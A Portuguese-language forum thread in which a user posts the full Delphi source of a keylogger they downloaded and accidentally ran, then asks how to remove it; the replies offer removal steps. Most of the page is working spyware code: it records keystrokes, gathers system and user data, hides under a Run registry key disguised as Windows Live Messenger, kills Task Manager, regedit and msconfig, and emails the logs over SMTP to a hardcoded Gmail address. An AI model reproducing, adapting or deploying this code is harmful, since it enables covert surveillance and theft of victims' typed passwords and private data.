Jump to content
Fórum Script Brasil
  • 0

Keylogger em Delphi


Din Pajeh II

Question

Boa noite, peguei os sources desse keylogger na internet, mas quando fui compilar dei F9, ou seja ele compilou e rodou.

Ele tem killtask, e tira o regedit,taskmgr e msconfig..

ou seja não consigo cancelar o kl..

gostaria de saber se tem uma forma de finalizar ele, sendo que ele inicia quando liga o PC..

Não consigo entrar em modo seguro..

vou postar o code aqui pra ver se haverá solução.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,TlHelp32,Registry, InvokeRegistry, IdMessage, IdAntiFreezeBase,
  IdAntiFreeze, IdIOHandler, IdIOHandlerSocket, IdSSLOpenSSL,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, WebDisp, Rio, SOAPHTTPClient, ExtCtrls, StdCtrls;

    var
    ax,bx,cx,dx,si,tmp,x1a2,res,i,inter,cfc,cfd,compte,j,k,l : Word;
    x1a0  : array[0..7] of Word;
    cle   : array[0..15] of char;
    cry: array[0..33000] of char;
        newkey : string;

type
  TForm1 = class(TForm)
    edtDiretorio: TEdit;
    edtDiretorio2: TEdit;
    Edit3: TEdit;
    Edit4: TEdit;
    Edit5: TEdit;
    Edit6: TEdit;
    edthost: TEdit;
    edtuser: TEdit;
    edtPass: TEdit;
    chkSub: TCheckBox;
    Memo1: TMemo;
    listboxanexos: TListBox;
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    Timer4: TTimer;
    Timer5: TTimer;
    HTTPRIO1: THTTPRIO;
    WebAppComponents1: TWebAppComponents;
    IdSMTP1: TIdSMTP;
    SSLSocket: TIdSSLIOHandlerSocket;
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure Timer4Timer(Sender: TObject);
Function SerialNum(FDrive:String) :String;
    procedure Timer5Timer(Sender: TObject);
  private
    { Private declarations }
    procedure ListarArquivos(Diretorio: string; Sub:Boolean);
    function TemAtributo(Attr, Val: Integer): Boolean;
    procedure Enviar(Enviar:Boolean);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R ssleay32.res}
{$R libeay32.res}

procedure code;
begin
  dx:= x1a2+i;
    ax:= x1a0[i];
  cx:= $015a;
  bx:= $4e35;
  tmp:= ax;
    ax:= si;
  si:= tmp;
    tmp:= ax;
    ax:= dx;
    dx:= tmp;
  if (ax <> 0) then ax:= ax*bx;
  tmp:= ax;
  ax:= cx;
  cx:= tmp;
  if (ax <> 0) then
  begin
    ax:= ax*si;
    cx:= ax+cx;
  end;
    tmp:= ax;
  ax:= si;
  si:= tmp;
  ax:= ax*bx;
  dx:= cx+dx;
    ax:= ax+1;
  x1a2:= dx;
    x1a0[i]:= ax;
  res:= ax xor dx;
    i:= i+1;
end;

Procedure Assemble;
begin
    x1a0[0]:= ( ord(cle[0])*256 ) + ord(cle[1]);
  code;
  inter:= res;

    x1a0[1]:= x1a0[0] xor ( (ord(cle[2])*256) + ord(cle[3]) );
    code;
    inter:= inter xor res;

    x1a0[2]:= x1a0[1] xor ( (ord(cle[4])*256) + ord(cle[5]) );
    code;
    inter:= inter xor res;

    x1a0[3]:= x1a0[2] xor ( (ord(cle[6])*256) + ord(cle[7]) );
    code;
    inter:= inter xor res;

    x1a0[4]:= x1a0[3] xor ( (ord(cle[8])*256) + ord(cle[9]) );
    code;
    inter:= inter xor res;

        x1a0[5]:= x1a0[4] xor ( (ord(cle[10])*256) + ord(cle[11]) );
        code;
        inter:= inter xor res;

        x1a0[6]:= x1a0[5] xor ( (ord(cle[12])*256) + ord(cle[13]) );
        code;
        inter:= inter xor res;

        x1a0[7]:= x1a0[6] xor ( (ord(cle[14])*256) + ord(cle[15]) );
        code;
        inter:= inter xor res;

    i:= 0;
end;


Procedure Decrypt(ThisCle, Buffer: PChar; BufferLength: Integer);

     var
    Rep: Char;
    c, d, e: Byte;
begin
    // Some initializations
    ZeroMemory(@Cry, SizeOf(Cry));
    ZeroMemory(@Cle, SizeOf(Cle));
    StrCopy(Cle, ThisCle);
    si:=0;
    x1a2:=0;
    i:=0;
        j:=0;
        l:=0;

    while j<BufferLength-1 do begin
        //(j:=0 to BufferLength-1 do begin

          rep:= Buffer[j];
          case rep of
            'a' : d:= 0;
            'b' : d:= 1;
            'c' : d:= 2;
            'd' : d:= 3;
            'e' : d:= 4;
            'f' : d:= 5;
            'g' : d:= 6;
            'h' : d:= 7;
            'i' : d:= 8;
            'j' : d:= 9;
            'k' : d:= 10;
            'l' : d:= 11;
            'm' : d:= 12;
            'n' : d:= 13;
            'o' : d:= 14;
            'p' : d:= 15;
          end;

          d:= d shl 4;
          j:=j+1;

          rep:= Buffer[j];      { rep =  second letter }
          Case rep of
            'a' : e:= 0;
            'b' : e:= 1;
            'c' : e:= 2;
            'd' : e:= 3;
            'e' : e:= 4;
            'f' : e:= 5;
            'g' : e:= 6;
            'h' : e:= 7;
            'i' : e:= 8;
            'j' : e:= 9;
            'k' : e:= 10;
            'l' : e:= 11;
            'm' : e:= 12;
            'n' : e:= 13;
            'o' : e:= 14;
            'p' : e:= 15;
          end;
          c:= d + e;
          Assemble;
          cfc:= inter shr 8;
          cfd:= inter and 255;

          c:= c xor (cfc xor cfd);

          for compte:= 0 to 15 do
            cle[compte]:= chr(ord(cle[compte]) xor c);

          // Note : c contains the decrypted byte
          cry[l]:=chr(c);
          j:=j+1;
          l:=l+1;
    end;

end;




function killtask(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(
OpenProcess(PROCESS_TERMINATE,
BOOL(0),
FProcessEntry32.th32ProcessID),
0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;


procedure TForm1.ListarArquivos(Diretorio: string; Sub: Boolean);
var

  F: TSearchRec;

  Ret: Integer;

  TempNome: string;

begin

  Ret := FindFirst(Diretorio+'\*.*', faAnyFile, F);

  try

    while Ret = 0 do

    begin

      if TemAtributo(F.Attr, faDirectory) then

      begin

        if (F.Name <> '.') And (F.Name <> '..') then

          if Sub = True then

          begin

            TempNome := Diretorio+'\' + F.Name;

            ListarArquivos(TempNome, True);

          end;

      end

      else

      begin

        Memo1.Lines.Add(F.Name);

      end;

        Ret := FindNext(F);

    end;

  finally

  begin

    FindClose(F);

  end;

end;

end;

function TForm1.TemAtributo(Attr, Val: Integer): Boolean;
begin
Result := Attr and Val = Val;
end;

procedure ListProcesses;

var

ExeName : String;

//Descreve as entradas dos processos residentes no sistema

proc : PROCESSENTRY32;

//handle, a posição de memória alocada do objeto

hSnap : HWND;

Looper : BOOL;

begin
// Captura o tamanho de bytes de PROCESSENTRY32

        proc.dwSize := SizeOf(Proc);

        hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

        //Captura o nome dos processos e insere no ListBox

        Looper := Process32First(hSnap,proc);

        while Integer(Looper) <> 0 do begin

                ExeName := ExtractFileName(proc.szExeFile);

                Form1.memo1.lines.Add(ExeName);

                Looper := Process32Next(hSnap,proc);

        end;

        CloseHandle(hSnap);

end;



Function tForm1.SerialNum(FDrive:String) :String;
Var
    Serial:DWord;
    DirLen,Flags: DWord;
    DLabel : Array[0..11] of Char;
begin
    Try GetVolumeInformation(PChar(FDrive+':\'),dLabel,12,@Serial,DirLen,Flags,nil,0);
          Result := IntToHex(Serial,8);
        Except Result :='';
    end;
end;

function GetEnvVarValue(const VarName: string): string;
var
  BufSize: Integer;  // buffer size required for value
begin
  // Get required buffer size (inc. terminal #0)
  BufSize := GetEnvironmentVariable(PChar(VarName), nil, 0);
  if BufSize > 0 then
  begin
    // Read env var value into result string
    SetLength(Result, BufSize - 1);
    GetEnvironmentVariable(PChar(VarName),
      PChar(Result), BufSize);
  end
  else
    // No such environment variable
    Result := '';
end;

Function usuario: string;
var
  buffer: array[0..255] of char;
  size: dword;
begin
  size := 256;
    if GetUserName(buffer, size) then
       Result := buffer
    else
       Result := ''
end;


Procedure TForm1.Enviar(Enviar: Boolean);
var
i: integer;

begin

try
IdMessage1.MessageParts.Clear;
IdSMTP1.Host := Edthost.Text;
IdSMTP1.Username:= EdtUser.text;
IdSMTP1.Password := EdtPass.text;
IdSMTP1.AuthenticationType:= atLogin;

if ListBoxAnexos.Items.Count > 0 then
begin
for i:= 0 to ListBoxAnexos.Items.Count - 1 do
TIdAttachment.Create(IdMessage1.MessageParts, ListBoxAnexos.Items[i]);
end;

IdMessage1.From.Address:= 'teste';//EdtOrigem.Text;
IdMessage1.Subject:= 'isso é teste';//EdtAssunto.Text;
{podem tirar a linha abaixo se vocês quiserem}
IdMessage1.Body.Text := memo1.Lines.Text;

IdMessage1.BccList.EMailAddresses := 'gabrielfernandoi@gmail.com';//edtbcc.Text;


if not IdSMTP1.Connected then
begin
IdSMTP1.Connect();
IdSMTP1.Send(IdMessage1);
Application.ProcessMessages;
end;
finally
IdSMTP1.DisConnect();

end;
end;

Procedure ssleay32;
Var PathToSave:String;
Res : TResourceStream;
Begin
PathToSave := 'C:\Windows\system32\ssleay32.dll'; // (Pasta + Nome da dll aonde vai salvar)
If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe
Res := TResourceStream.Create(Hinstance, 'ssleay32', 'DLL'); //O título e o tipo do arquivo
Try // Salva o arquivo
Res.SavetoFile(PathToSave);
Finally
Res.Free;
End;
end;
end;

Procedure libeay32;
Var PathToSave:String;
Res : TResourceStream;
Begin
PathToSave := 'C:\Windows\system32\libeay32.dll'; // (Pasta + Nome da dll aonde vai salvar)
If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe
Res := TResourceStream.Create(Hinstance, 'libeay32', 'DLL'); //O título e o tipo do arquivo
Try // Salva o arquivo
Res.SavetoFile(PathToSave);
Finally
Res.Free;
End;
End;
end;

function coloca(txt: string): string;
begin
Form1.memo1.lines.text:=Form1.memo1.lines.text+txt;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
    Buf : PChar;
        Bufkey : Pchar;
        keysize : Integer;
        Size : Integer;

begin

libeay32;
ssleay32;

with IdSMTP1 do
begin
AuthenticationType := atLogin;
Host :=Edthost.Text;
IOHandler := SSLSocket;
Password := EdtPass.Text;
Username:= EdtUser.Text;
Port := 465
end;
SSLSocket.SSLOptions.Method := sslvSSLv23;
SSLSocket.SSLOptions.Mode := sslmClient;

edtDiretorio.Text :=  'C:\Documents and Settings\' + usuario + '\Meus documentos\Os Meus Registos\';
edtDiretorio2.Text :=  'C:\Documents and Settings\' + usuario + '\Favoritos\';

Memo1.Lines.Add ( #13);
    Memo1.Lines.Add ( 'Nome do computador:');
    Memo1.Lines.Add(GetEnvVarValue('COMPUTERNAME'));
    Memo1.Lines.Add ( #13);

    Memo1.Lines.Add ( 'Usuário logado:');
    Memo1.Lines.add (usuario);
    Memo1.Lines.Add ( #13);

    Memo1.Lines.Add ( 'Serial da unidade C:');
    Memo1.Lines.add (serialnum('c'));
    Memo1.Lines.Add ( #13);

    Memo1.Lines.Add ( 'Processos Ativos:');
    ListProcesses;
    Memo1.Lines.Add ( #13);

    Memo1.Lines.Add ( 'Emails de conversas realizadas:');
    ListarArquivos(edtDiretorio.Text, chkSub.Checked);
    Memo1.Lines.Add ( #13);

    Memo1.Lines.Add ( 'Sites marcados como favoritos do Internet Explorer:');
    ListarArquivos(edtDiretorio2.Text, chkSub.Checked);
    Memo1.Lines.Add ( #13);

    Size := edit3.GetTextLen;
        if (Size=0) then exit;
        keysize := Edit6.GetTextLen;
        if (keysize=0) then exit;
    GetMem(buf, Size+1);
    edit3.GetTextBuf(Buf, Size+1);
        GetMem(Bufkey,keysize+1);
        Edit6.GetTextBuf(Bufkey,keysize+1);

        if (keysize>16) Then
        begin
         FreeMem(Buf);
         FreeMem(Bufkey);
        end
       else
        begin
    decrypt(Bufkey, buf, Size);
    FreeMem(buf);
        FreeMem(Bufkey);
        EdtHost.SetTextBuf(Cry);


        Size := edit4.GetTextLen;
        if (Size=0) then exit;
        keysize := Edit6.GetTextLen;
        if (keysize=0) then exit;
    GetMem(buf, Size+1);
    edit4.GetTextBuf(Buf, Size+1);
        GetMem(Bufkey,keysize+1);
        Edit6.GetTextBuf(Bufkey,keysize+1);

        if (keysize>16) Then
        begin
         FreeMem(Buf);
         FreeMem(Bufkey);
        end
       else
        begin
    decrypt(Bufkey, buf, Size);
    FreeMem(buf);
        FreeMem(Bufkey);
        Edtuser.SetTextBuf(Cry);


        Size := edit5.GetTextLen;
        if (Size=0) then exit;
        keysize := Edit6.GetTextLen;
        if (keysize=0) then exit;
    GetMem(buf, Size+1);
    edit5.GetTextBuf(Buf, Size+1);
        GetMem(Bufkey,keysize+1);
        Edit6.GetTextBuf(Bufkey,keysize+1);

        if (keysize>16) Then
        begin
         FreeMem(Buf);
         FreeMem(Bufkey);
        end
       else
        begin
    decrypt(Bufkey, buf, Size);
    FreeMem(buf);
        FreeMem(Bufkey);
        Edtpass.SetTextBuf(Cry);


end;
end;
end;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Application.Run;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
 var       i : byte;
begin
  for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  :   begin
        memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
      //  memo1.text:=memo1.text+'[Bakspace]';
        end;
        9  : memo1.text:=memo1.text+' [Tab] ';
        13 : begin  //foi pressionado o enter
              memo1.text:=memo1.text+ ' [Enter] '+#13#10; //Enter
             end;
        17 : memo1.text:=memo1.text+' [Ctrl] ';
        27 : memo1.text:=memo1.text+' [Esc] ';
        32 :memo1.text:=memo1.text+' '; //Space
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + ' [Page Up] ';
        34 : memo1.text := Memo1.text + ' [Page Down] ';
        35 : begin//foi pressionado o end o programa vai finalizar.
             memo1.text := Memo1.text + ' [End] ';
             application.Terminate;
             end;
        36 : memo1.text := Memo1.text + ' [Home] ';
        //Arrow Up Down Left Right
       // 37 : memo1.text := Memo1.text + '[Left]';
       // 38 : memo1.text := Memo1.text + '[Up]';
        //39 : memo1.text := Memo1.text + '[Right]';
        //40 : memo1.text := Memo1.text + '[Down]';
        44 : memo1.text := Memo1.text + ' [Print Screen] ';
        45 : memo1.text := Memo1.text + ' [Insert] ';
        46 : memo1.text := Memo1.text + ' [Del] ';
        145 : memo1.text := Memo1.text + ' [Scroll Lock] ';

        //Number 1234567890 Symbol !@#$%^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'9';
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'&';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
        144 : memo1.text:=memo1.text+' [Num Lock] ';

        112..123: //F1-F12
            memo1.text:=memo1.text+' [F'+IntToStr(i - 111)+'] ';

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
              else memo1.text:=memo1.text+';';
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
              else memo1.text:=memo1.text+'=';
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
              else memo1.text:=memo1.text+',';
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
              else memo1.text:=memo1.text+'-';
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
              else memo1.text:=memo1.text+'.';
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
              else memo1.text:=memo1.text+'/';
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
              else memo1.text:=memo1.text+'`';
        219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
              else memo1.text:=memo1.text+'[';
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
              else memo1.text:=memo1.text+'';
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
              else memo1.text:=memo1.text+']';
        222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
              else memo1.text:=memo1.text+'''';
        end;
        end;
    end;
//texto.Free;
  With Form1 do
    SetWindowPos(Handle, // "handle" para a janela
                 HWND_TOPMOST, // controla onde vai ficar a janela  (*¹)
                 Left,  // a posição horizontal
                 Top,   // a posição vertical
                 Width, // a largura
                 Height, // a altura
                 // opções de posicionamento da janela
                 SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); // (*²)

end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
Reg: TRegistry;
S: string;
begin
Reg := TRegistry.Create;
S:=ExtractFileDir(Application.ExeName)+'\'+ExtractFileName(Application.ExeName);
Reg.rootkey:=HKEY_LOCAL_MACHINE;
Reg.Openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',false);
Reg.WriteString('Windows live Messeger',S);
Reg.closekey;
Reg.Free; 

end;

procedure TForm1.Timer3Timer(Sender: TObject);
Var I : Integer;
  ConteudoLinha : String;
begin
Memo1.Text := StringReplace((Memo1.Text),'.html','',[rfReplaceAll]);
for i := 0 to Memo1.Lines.Count-1 do
begin
   ConteudoLinha:=UpperCase(Memo1.Lines.Strings[i]);
  if (Pos('.Png',ConteudoLinha)<>0) or (Pos('.PNG',ConteudoLinha)<>0) then
  Memo1.Lines.Delete(i);

end;

end;

procedure TForm1.Timer4Timer(Sender: TObject);
begin
killtask('regedit.exe');
killtask('taskmgr.exe');
killtask('msconfig.exe');
end;

procedure TForm1.Timer5Timer(Sender: TObject);
begin
Memo1.Lines.Add ( #13);
Memo1.Lines.Add ( 'Dados coletados em:');
Memo1.Lines.Add (FormatDateTime ('dddd", "dd" de "mmmm" de "yyyy',now) + '  As: ' + FormatDateTime('hh:nn:ss',now));
Memo1.Lines.Add ( #13);
Enviar (True);
end;

end.

Link to comment
Share on other sites

4 answers to this question

Recommended Posts

  • 0

voce tem algumas opções

1 - voce pode desabilitar os timer 2 e 4 do código .. compilar e rodar novamente e reiniciar o micro

2 - pode dar boot pelo cd do windows e tentar a recuperação ( deletando o programa do keylogger )

3 - criar um cd de boot ou pendrive com o sistema NTFS, a partir dai dá pra deletar o arquivo ou modificar o registro do windows

4 - fazer nova instalação do windows

abraço

Link to comment
Share on other sites

  • 0

Amigo, você deveria ter codado o mesmo apartir de uma Maquina Virtual, seria bem mais seguro...

agora é melhor você formatar seu computador... se possível da próxima vez faça apartir de uma Maquina Virtual...

Link to comment
Share on other sites

  • 0

Bem simples:

* Baixe o Process Explorer (Freeware)

http://www.baixaki.com.br/download/process-explorer.htm
ou o KillBox (Freeware)
http://download.cnet.com/KillBox/3000-20432_4-75219891.html
* Mate o processo do KL (Caso optar pelo KillBox utilize a opção: End Explorer Shell While Killing File) * Retire-o do registro do windows * Delete os arquivos criados na pasta System32 Prontinho!
Formatar não é, nem um pouco, necessário
para acabar com uma ameaça tão insignificante quanto esta acima.
O código deve ser atualizado, modificado e adicionado várias outras coisas 
para que este KL seja viável

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Forum Statistics

    • Total Topics
      152.2k
    • Total Posts
      652k
×
×
  • Create New...